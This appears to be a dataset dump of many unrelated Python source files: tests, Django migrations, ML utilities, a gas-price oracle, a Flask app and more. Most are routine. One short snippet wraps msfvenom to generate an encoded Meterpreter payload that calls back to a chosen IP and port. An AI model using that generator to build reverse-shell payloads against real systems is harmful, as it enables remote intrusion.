text
string
size
int64
token_count
int64
#!/usr/bin/env python3 """ ETH Gas Station Primary backend. """ import argparse from egs.main import master_control from egs.output import Output def main(): """Parse command line options.""" parser = argparse.ArgumentParser(description="An adaptive gas price oracle for Ethereum.") parser.add_argu...
588
179
"""Contains tests for the functions found in ``controls/templates_helpers.py`` To run this particular test file use the following command line: nose2 -v app.tests.controls.tests_template_helpers """ from app import db, create_app import unittest from unittest import TestCase from config import Config from app.tests.u...
3,675
962
import torch import torch.nn as nn from ..networks.basic.util import check from ..networks.basic.predict import PredictNet, PredictLayer, OutLayer from ..utils.util import get_shape_from_obs_space class OneHot: def __init__(self, out_dim): self.out_dim = out_dim def transform(self, tensor): y_...
2,299
782
from google.appengine.ext import ndb from repositories.gae.dataset import Dataset from repositories.gae.dataset import calculate_max_hashes, get_random_bits class BlobDataset(Dataset): filename = ndb.StringProperty() blob_key = ndb.BlobKeyProperty() @classmethod def create(cls, blob_key, **kwargs): ...
1,431
425
"""Compare evolution matrices to v0.1 numerics""" import wetrunner import unittest from pkg_resources import resource_filename import numpy as np import numpy.testing as npt def getUs_new(classname): arg = (0.56, 5, 0.12, 1/127, 0, 0, 0, 1.2, 4.2, 0, 0, 1.8) return wetrunner.rge.getUs(classname, *arg) def ...
1,394
583
import configparser import random import string from clockwork import utils class Error(Exception): pass def _make_dummy_success_receipt(outfile, object_type): accession = "".join( [random.choice(string.ascii_uppercase + string.digits) for _ in range(10)] ) with open(outfile, "w") as f: ...
4,310
1,459
""" Copyright (c) 2020 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writin...
3,350
1,035
# Generated by Django 3.0.6 on 2020-05-19 14:32 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ("core", "0018_auto_20200603_0620"), ] operations = [ migrations.AddField( model_name="video", name="live_info", ...
1,106
302
# Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, s...
11,766
4,286
#!/usr/bin/python3 import subprocess import yaml try: from yaml import CLoader as Loader, CDumper as Dumper except ImportError: from yaml import Loader, Dumper #MAC address of the smart plug MAC_ADDRESS = '84:f3:eb:32:e3:b4' # netmask of your network NET_MASK = '192.168.1.1/24' #octopi config OCTOPI_CONFIG = ...
1,232
468
from tkinter_gui_builder.panel_templates.widget_panel.widget_panel import AbstractWidgetPanel from tkinter_gui_builder.widgets import basic_widgets class CanvasDemoButtonPanel(AbstractWidgetPanel): fname_select = basic_widgets.Button zoom_in = basic_widgets.Button zoom_out = basic_widgets.Button rect_...
2,571
720
import torch import numpy as np import scipy.sparse as sp def sparse_to_tuple(sparse_mx): """Convert sparse matrix to tuple representation.""" def to_tuple(mx): if not sp.isspmatrix_coo(mx): mx = mx.tocoo() coords = np.vstack((mx.row, mx.col)).transpose() values = mx.data ...
1,360
640
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import numpy as np import mechkit import mechmean class KanataniFactory(object): def __init__(self, N): self.con = mechkit.notation.Converter() self._I2 = mechkit.tensors.Basic().I2 self.N = N = self.con.to_tensor(N) self.degree = le...
5,056
1,843
from setuptools import setup, find_packages setup( name="fancylog", version="0.2.6", description="Fancier logging in Python", install_requires=["packaging", "rich"], extras_require={ "dev": [ "black", "pytest-cov", "pytest", "coverage", ...
961
304
from ymmsl import Identifier, Reference import pytest import yatiml def test_create_identifier() -> None: part = Identifier('testing') assert str(part) == 'testing' part = Identifier('CapiTaLs') assert str(part) == 'CapiTaLs' part = Identifier('under_score') assert str(part) == 'under_score...
5,620
1,971
import os import pytest import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all') @pytest.mark.parametrize("installed_packages", [ ("haproxy20"), ("socat"), ("keepalived"), ("bind"), ]) def test_p...
1,262
481
"""Things that help you keep track of task results and how to decode them.""" import abc import dataclasses import threading import uuid from concurrent import futures from typing import Callable, Generic, Optional, TypeVar, Union import urllib3 from tiledb.cloud import rest_api from tiledb.cloud import tiledb_cloud...
4,237
1,305
import sys sys.path.append('../../') # Global variables from test2.test_main import TREASURE_MAP from test2.test_main import MINE_MAP # From OceanOfCode # Class from OceanOfCode import MineAndTrigger from OceanOfCode import Submarine from OceanOfCode import Board # Global from OceanOfCode import EMPTY_SYMBOLS from O...
3,676
1,235
# -*- coding: utf-8 -*- """Digital Forensics Date and Time (dfDateTime). dfDateTime, or Digital Forensics date and time, provides date and time objects to preserve accuracy and precision. """ # Imports for date time values factory. from dfdatetime import apfs_time from dfdatetime import cocoa_time from dfdatetime imp...
831
234
import logging import json import zlib import os import pymia.data.extraction as extr def save_indices(file_path: str, indices: list): config = {'indices': indices} with open(file_path, 'w') as f: json.dump(config, f) def load_indices(file_path: str): with open(file_path, 'r') as f: con...
1,267
437
import sys from util.Timer import Timer from util.FileOpener import FileOpener from util.Logger import Logger from util.PathExtractor import PathExtractor from util.PathValidator import PathValidator from service import SpacyModel def lemmatize_text(file_path: str, timer: Timer): logger = Logger() output_file = File...
1,191
440
# type: ignore __all__ = [ "plotyy", "figtoolset", "getscribecontextmenu", "getobj", "scribeeventhandler", "setscribecontextmenu", "putdowntext", "gtext", "scribetextdlg", "doresize", "prepdrag", "scriberestoresavefcns", "zoom", "scribeclearmode", "domymenu",...
4,069
1,388
from app import app if __name__ == '__main__': app.run_server(port=5000, debug=True, host='localhost')
107
40
from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import logging from rasa_core.agent import Agent from rasa_core.policies.keras_policy import KerasPolicy from rasa_core.policies.memoization import MemoizationPolicy def run_faq(domain_file="config/faq_dom...
748
250
# fmt: off import logging from pathlib import Path from farm.data_handler.data_silo import DataSilo from farm.data_handler.processor import RegressionProcessor, TextPairClassificationProcessor from farm.experiment import initialize_optimizer from farm.infer import Inferencer from farm.modeling.adaptive_model import Ad...
6,123
1,830
#!/usr/bin/env python import numpy as np import pandas as pd import json import pytz def _get_data(file): return pd.read_csv(file) def _get_prices(data): df = data rome_tz = pytz.timezone('Europe/Rome') df['time'] = pd.to_datetime(df['Timestamp'], unit='s') df['time'].dt.tz_localize(pytz.UTC...
2,723
996
import sys from django.core.management import CommandError, call_command from django.test import TestCase from .side_effects import bad_database_check try: from unittest.mock import patch except ImportError: from mock import patch # Python 2.7 support if sys.version_info > (3, 0): from io import StringI...
789
231
from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler # importing the modules import os.path import shutil import datetime import time import re # getting the current working directory src_dir = os.getcwd() # printing current directory print("########## File-backup started ######...
2,579
810
import os import pytest import torch import torch.distributed as dist from ignite.distributed.comp_models import has_native_dist_support if not has_native_dist_support: pytest.skip("Skip if no native dist support", allow_module_level=True) else: from ignite.distributed.comp_models.native import _expand_hostl...
24,449
9,216
import pandas as pd from .apriori_opt import apriori as apriori_opt from .apriori_basic import apriori as apriori_basic # from memory_profiler import profile from .utils import log def get_frequent_items_in_time(tweets, s, r, a, start=None, end=None, basic=False): if tweets.empty: return [] if not st...
1,114
380
#_*_ encoding: utf-8 _*_ import time ''' Fibonacci function ''' def fibo(n): if (n < 2): return n else: return fibo(n - 1) + fibo(n - 2) ''' Memoize function ''' def memoize(f): # dictionary mem = {} ''' Helper function ''' def memoizer(*param): key = repr(param) if ...
929
382
# -*- coding: utf-8 -*- import pytest import numpy as np from unittest import TestCase from SciDataTool import DataTime, Data1D, DataLinspace, VectorField from pyleecan.Classes.SolutionData import SolutionData from pyleecan.Classes.SolutionMat import SolutionMat from pyleecan.Classes.SolutionVector import SolutionVe...
4,101
1,391
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
17,026
4,548
# Import modules from __future__ import print_function import sys import numpy as np from polytope import box2poly from tulip import hybrid from tulip.abstract import prop2part, discretize import Interface.DSL as DSL from Interface import Statechart as dumpsmach from Interface.Reduce import * from Interface.Transfor...
4,682
1,727
from AI.team_manager import TeamManager from CableClub.cable_club_constants import Com out_byte = 0 last_recieved = 0 count = 0 def colosseum_process_byte(byte): global out_byte, last_recieved, count if byte >= Com.ATTACK_MOVE_1 and byte <= Com.SWITCH_POKEMON_6: if count == 12: last_reciev...
561
192
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = "Per Unneberg" __copyright__ = "Copyright 2020, Per Unneberg" __email__ = "per.unneberg@scilifelab.se" __license__ = "MIT" import os import re import tempfile from snakemake.shell import shell from snakemake.utils import logger log = snakemake.log_fmt_shell(...
931
392
from open_publishing.core import SequenceItem, SequenceField, SequenceItemProperty from open_publishing.core import FieldDescriptor, DatabaseObjectField, SimpleField from open_publishing.user import User from open_publishing.core.enums import ValueStatus from open_publishing.core.enums import ProvisionRuleRole, Provisi...
6,741
1,692
from datetime import timedelta from functools import update_wrapper from flask import make_response, current_app, request, url_for, jsonify import uuid # decorators def crossdomain(origin=None, methods=None, headers=None, max_age=21600, attach_to_all=True, automatic_options=True): ...
2,746
812
import time import unittest from pykka import ActorDeadError, ThreadingActor, ThreadingFuture, Timeout class AnActor(object): def __init__(self, received_message): super(AnActor, self).__init__() self.received_message = received_message def on_receive(self, message): if message.get(...
4,536
1,490
#tests/unit/test_baseObject.py #A part of NonVisual Desktop Access (NVDA) #This file is covered by the GNU General Public License. #See the file COPYING for more details. #Copyright (C) 2018 NV Access Limited, Babbage B.V. """Unit tests for the baseObject module, its classes and their derivatives.""" import u...
3,365
1,210
import re from typing import Dict, Tuple, List, NamedTuple, Optional from lib.utils.decorators import with_exception_retry from .helpers.common import ( split_hostport, get_parsed_variables, merge_hostport, random_choice, ) from .helpers.zookeeper import get_hostname_and_port_from_zk # TODO: make thes...
3,960
1,393
""" flopz. Low Level Assembler and Firmware Instrumentation Toolkit """ __version__ = "0.2.0" __author__ = "Noelscher Consulting GmbH"
137
55
#!/usr/bin/env python3 import sys, logging import requests, json, argparse, textwrap from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) from oracle_casb_api import * parser = argparse.ArgumentParser( prog='Oracle CASB API Client'...
2,294
779
import argparse import json from data_management.DatasetFactory import datasetFactory from config import cfg import numpy as np if __name__ == "__main__": parser = argparse.ArgumentParser(description='Calculates metrics from output of a Classification network.' + ...
1,787
667
import torch import torch.nn as nn from attention import Attention, NewAttention from language_model import WordEmbedding, QuestionEmbedding, QuestionEmbedding2 from classifier import SimpleClassifier from fc import FCNet from Decoders.decoder1 import _netG as netG import torch.nn.functional as F from torch.autograd im...
6,448
2,730
# coding: utf-8 from .force_reload import * from .scopes import *
66
23
# Copyright 2002-2018 MarkLogic Corporation. All Rights Reserved. import boto3 import botocore import logging import hashlib import json import time from botocore.exceptions import ClientError log = logging.getLogger() log.setLevel(logging.INFO) # global variables ec2_client = boto3.client('ec2') asg_client = boto3...
5,244
1,483
import logging from collections.abc import Sequence, Mapping from typing import Callable, Union import copy import pyabc from .base import PetabImporter, rescale logger = logging.getLogger(__name__) try: import petab import petab.C as C except ImportError: petab = C = None logger.error("Install petab...
5,724
1,600
from enum import Enum, auto class AlertActionType(Enum): ACCEPT = auto() DISMISS = auto()
99
34
import unittest from xsertion.layers import * from keras.layers import Input, MaxPooling2D, Convolution2D, Activation, merge, Dense, Flatten from keras.models import Model import json def desc(model : Model): base_model_disc = json.loads(model.to_json()) return base_model_disc['config'] def topo_check(layer...
18,769
6,630
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # author: bigfoolliu """ web socket可用于实时聊天 """ import websocket if __name__ == '__main__': pass
151
73
from .watcher import FileWatcher from .fpm_sniffer import FPMSniffer, FPMSnifferMode
85
31
''' Created on 18.03.2020 @author: LK ''' class TMC_EvalShield(object): """ Arguments: connection: Type: connection interface The connection interface used for this module. shield: Type: class The EvalShield class used for every axis on this mod...
885
263
import sys d, n = [], {} for i in sys.stdin: if i.rstrip() == "": break a, b = map(str, i.split()) d.append([a, b]) if a in n: n[a] += 1 else: n[a] = 1 d = sorted(d, key=lambda x: (x[1], x[0])) for k, v in d: if n[k] > 1: print(k, v) else: print(k)
285
147
import json import vizier.node as node import unittest class TestVizierNodes(unittest.TestCase): def setUp(self): path_a = '../config/node_desc_a.json' path_b = '../config/node_desc_b.json' try: f = open(path_a, 'r') node_descriptor_a = json.load(f) f....
1,697
589
import modbus_server s = modbus_server.Server( host="localhost", port=5020, daemon=True, loglevel="WARNING", autostart=False ) s.start() s.set_coil(1, True) s.set_coils(2, [True, False, True]) s.set_discrete_input(1, True) s.set_discrete_inputs(2, [True, False, True]) s.set_input_register(1, 1234, "h") s.set_i...
457
230
RRNN_SEMIRING = """ extern "C" { __global__ void rrnn_semiring_fwd( const float * __restrict__ u, const float * __restrict__ eps, const float * __restrict__ c1_init, const float * __restrict__ c2_init, const int len, ...
5,417
1,969
import re import text_objects import numpy as np import pickle # f = open("Data/scripts_text/17-Again.txt", 'r') # text = f.read() # text = text[900:1500] # print(text) # count = len(re.findall("\W+",text)) # print(count) # # lines = text.split('\n') # lines_on_empty = re.split("\n\s+\n", text) # print(len(lines)) #...
1,841
687
import time from annotypes import Anno, add_call_types from malcolm.core import PartRegistrar from malcolm.modules import builtin # Pull re-used annotypes into our namespace in case we are subclassed APartName = builtin.parts.APartName AMri = builtin.parts.AMri with Anno("The demand value to move our counter motor ...
1,945
574
import pyvista import os, sys, glob import subprocess import math from natsort import natsorted import multiprocessing def write_pvd(base_name, dt, nsteps, extension, nprocs_sim=1): prefix = '''<?xml version="1.0"?> <VTKFile type="Collection" version="0.1" byte_order="LittleEndian" ...
12,740
4,367
import sys try: sys.path.append('/opt/python3/lib/python3.4/site-packages') except: pass import yelp_api import pickle import calc pub_key = 'pub-c-2c436bc0-666e-4975-baaf-63f16a61558d' sub_key = 'sub-c-0442432a-3312-11e7-bae3-02ee2ddab7fe' from pubnub.callbacks import SubscribeCallback from pubnub.enums impor...
3,641
1,149
__version__ = '0.1.1' from .gmaploader import GMapLoader
59
25
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import template from machina.core.loading import get_class TrackingHandler = get_class('forum_tracking.handler', 'TrackingHandler') register = template.Library() @register.simple_tag(takes_context=True) def get_unread_topics(context, to...
643
201
# Copyright 2021 JD.com, Inc., JD AI """ @author: Yehao Li @contact: yehaoli.sysu@gmail.com """ import torch import torch.nn as nn __all__ = ["AttentionPooler"] class AttentionPooler(nn.Module): def __init__( self, *, hidden_size: int, output_size: int, dropout: float, ...
1,194
422
"""Provide meta-models for Asset Administration Shell information model.""" __version__ = "2021.11.20a2" __author__ = ( "Nico Braunisch, Marko Ristin, Robert Lehmann, Marcin Sadurski, Manuel Sauer" ) __license__ = "License :: OSI Approved :: MIT License" __status__ = "Alpha"
281
104
# -*- coding: utf-8 -*- import flask from .mail import send_email from .models import db, Subscriber, Category __all__ = ["web"] web = flask.Blueprint("web", __name__) @web.route("/", methods=["GET", "POST"]) def index(): if flask.request.method == "POST": email = flask.request.form.get("email", None)...
2,937
882
# -*- coding: utf-8 -*- # This code is part of Qiskit. # # (C) Copyright IBM 2017, 2019. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any...
13,794
3,733
""" A basic two-pass MIPS assembler. Outputs a binary file in a custom format that can then be loaded into Scratch """ import struct import re import json import os """ Diagram of the Scratch MIPS VM memory space +--------------------- <- 0x0000000 | i/o space (see below) +--------------------- <- 0x0000100 | data s...
22,499
6,154
import pytest import errno import os import glob import shutil import xml.etree.ElementTree as ET from qvdfile.qvdfile import QvdFile, BadFormat @pytest.fixture(scope="function") def qvd(): """ standard setup for most of the tests """ yield QvdFile("data/tab1.qvd") @pytest.fixture(scope="function") def big...
3,237
1,234
from flask import Flask from app.models import Article, Feature import logging def create_app(config, blog_config): """This initiates the Flask app and starts your app engine instance. Startup Steps: 1. Instantiate the Flask app with the config settings. 2. Register bluprints. 3. Create the Contac...
4,221
1,174
""" Generates the Meterpreter payload from msfvenom """ import subprocess def payloadGenerator(msfpath, msfvenom, msfpayload, ip, port): payload = subprocess.Popen('ruby ' + msfpath + msfvenom + ' -p ' + msfpayload + ' LHOST=' + ip + ' LPORT=' + str(port) + ' EXITFUNC=thread -e x86/alpha_mixed -f raw BufferRegister=...
430
156
# Select an element # Open yaml file with entity types # If parameters are already present, set values according to yaml input import sys import clr import System import rpw import yaml import pprint from System.Collections.Generic import * clr.AddReference("RevitAPI") from Autodesk.Revit.DB import * from rpw.ui.fo...
9,689
2,685
import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import numpy as np import time import logging from sklearn.manifold import TSNE from src.models.optim.CustomLosses import NT_Xent_loss, SupervisedContrastiveLoss from src.utils.utils import print_progessbar class SimCLR_tr...
8,110
2,515
# Generated by Django 3.2.9 on 2021-11-20 16:13 import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('patients', '0007_alter_patient_age'), ] operations = [ migrations.AlterField( model_name='patient'...
543
180
from kitsune.questions.models import Answer, Question from kitsune.questions.tests import AnswerFactory, QuestionFactory from kitsune.questions.utils import ( get_mobile_product_from_ua, mark_content_as_spam, num_answers, num_questions, num_solutions, ) from kitsune.sumo.tests import TestCase from k...
4,348
1,607
#!/usr/bin/python ############################################## ###Python template ###Author: Elizabeth Lee ###Date: 10/14/14 ###Function: Export zOR retrospective and early warning classifications into csv file format (SDI and ILINet, national and regional for SDI) ### Use nation-level peak-based retrospective class...
10,122
4,337
""" Signal endpoints that can be used in testbenches """ import textwrap from typing import Dict import sonar.base_types as base class Endpoint(base.SonarObject): """ Endpoint class """ arguments: Dict[str, int] = {} @classmethod def instantiate(cls, _indent): """ Instantia...
3,346
883
# Generated from BoolExpr.g4 by ANTLR 4.5.1 # encoding: utf-8 from __future__ import print_function from antlr4 import * from io import StringIO # flake8: noqa def serializedATN(): with StringIO() as buf: buf.write(u"\3\u0430\ud6d1\u8206\uad2d\u4417\uaef1\u8d80\uaadd\3") buf.write(u"\22\63\4\2\t\...
15,400
5,189
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vn/testNode.py was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr>...
398
146
#!/usr/bin/env python """ Generate the file classes_to_be_wrapped.hpp, which contains includes, instantiation and naming typedefs for all classes that are to be automatically wrapped. """ import os import ntpath class CppHeaderCollectionWriter(): """ This class manages generation of the header collection f...
4,761
1,343
# Solution to part 2 of day 22 of AOC 2020, Crab Combat. # https://adventofcode.com/2020/day/22 import sys VERBOSE = ('-v' in sys.argv) class Deck: def __init__(self, player: int, cards: list): self.player = player self.cards = cards def take_top_card(self) -> int: """Remove the to...
6,590
2,084
import os # @see https://marketplace.visualstudio.com/items?itemName=bradlc.vscode-tailwindcss EXTENSION_UID = "bradlc.vscode-tailwindcss" EXTENSION_VERSION = "0.5.2" SERVER_BINARY_PATH = os.path.join("extension", "dist", "server", "index.js")
246
98
"""add separate reported and deleted tables Revision ID: 491383f70589 Revises: 9afc4e3a9bf3 Create Date: 2020-06-26 05:23:30.267933 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import postgresql # revision identifiers, used by Alembic. revision = '491383f70589' down_revision = '9afc4e3...
2,426
877
"""Test the viscous fluid helper functions.""" __copyright__ = """ Copyright (C) 2021 University of Illinois Board of Trustees """ __license__ = """ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Softwar...
17,935
6,889
""" aiobotocore-refreshable-credentials =================================== """ from aiobotocore_refreshable_credentials.session import get_session version = '1.0.3' __all__ = [ 'get_session', 'version' ]
216
74
import unittest import time from g13gui.bitwidgets.display import Display from g13gui.bitwidgets.x11displaydevice import X11DisplayDevice from g13gui.bitwidgets.label import Label class LabelTests(unittest.TestCase): def setUp(self): self.dd = X11DisplayDevice(self.__class__.__name__) self.dd.sta...
702
245
#!/usr/bin/python # -*- coding: utf-8 -*- # MIT License # # Modified from https://github.com/wzpan/git-repo-sync/ import os import subprocess import sys def print_blocked(output): print("=" * len(output)) print(output) print("=" * len(output)) def check_output(cmd, **kwargs): tmp_cmd = subprocess....
7,772
2,379
""" Test on one domain, and train on the other domains, Output f1 scores and visualize them by heat map """ from utils import data_helper, model_helper from sklearn.metrics import f1_score from imblearn.over_sampling import RandomOverSampler from sklearn.preprocessing import LabelEncoder from sklearn.feature_extractio...
11,358
3,793
""" Prints the length in inches of the perimeter of a rectangle with sides of length 4 and 7 inches. """ # Rectangle perimeter formula length = 4 inches = 7 perimeter = 2 * length + 2 * inches # Output print perimeter
219
71
class Solution: # @param {integer[]} nums # @return {integer} def longestConsecutive(self, nums): if not nums: return 0 result = 0 hashtable = set(nums) while hashtable: i = hashtable.pop() cnt = 1 temp = i while tem...
645
177
# x_3_4 # # mathモジュールからfloor関数だけインポートして切り捨て計算を行ってください from statistics import mean data = [7, 4, 3, 9] print(mean(data))
123
78
#!/usr/bin/env python3 def simulate(reg_0, find_non_loop): seen = set() c = 0 last_unique_c = -1 while True: a = c | 65536 c = reg_0 while True: c = (((c + (a & 255)) & 16777215) * 65899) & 16777215 if a < 256: if find_non_loop: ...
690
245
''' Classes and functions to implement gridding and curvature correlation analysis for lipid bilayers. The gridding and anlaysis procedures are based on the decription given in section "Correlation between bilayer surface curvature and the clustering of lipid molecules" of Koldso H, Shorthouse D, He lie J, ...
7,025
2,405
import numpy as np import cv2 import pygame cap = cv2.VideoCapture(0) fgbg = cv2.createBackgroundSubtractorMOG2() pygame.mixer.init() pygame.mixer.music.load("1.mp3") while(1): ret, frame = cap.read() fgmask = fgbg.apply(frame) flag = np.std(fgmask) if flag>50: print("some one came") pygame.mixer.music.play() ...
492
220
from . import ufuncs __all__ = ["area", "distance", "length", "hausdorff_distance"] def area(geometries): return ufuncs.area(geometries) def distance(a, b): return ufuncs.distance(a, b) def length(geometries): return ufuncs.length(geometries) def hausdorff_distance(a, b, densify=None): if densi...
453
171
import asyncio import inspect import logging from typing import Awaitable, List, TYPE_CHECKING, Callable, Coroutine, Optional import naff.models.naff as naff from naff.client.const import logger_name, MISSING from naff.client.utils.misc_utils import wrap_partial from naff.models.naff.tasks import Task if TYPE_CHECKIN...
9,539
2,670
from CoolProp import CoolProp as CP class State(object): """ The state of a fluid is defined with two unique intensive properties this class keeps track of the state of the fluid and solves for all other intensive properties. """ def __init__(self, fluid, **kwargs): """ ...
2,619
727
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-06-30 23:29 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('widget_def', '0058_auto_20160617_1124'), ] operations = [ migrations.AlterUn...
2,401
669
# ****************************************************************************** # Copyright 2017-2021 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apa...
7,649
3,154
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import json import ssl import click from json.decoder import JSONDecodeError from websocket import WebSocketException from websocket import WebSocketConnectionClosedException from websocket import create_connection from datetime import datetime as dtime...
1,980
652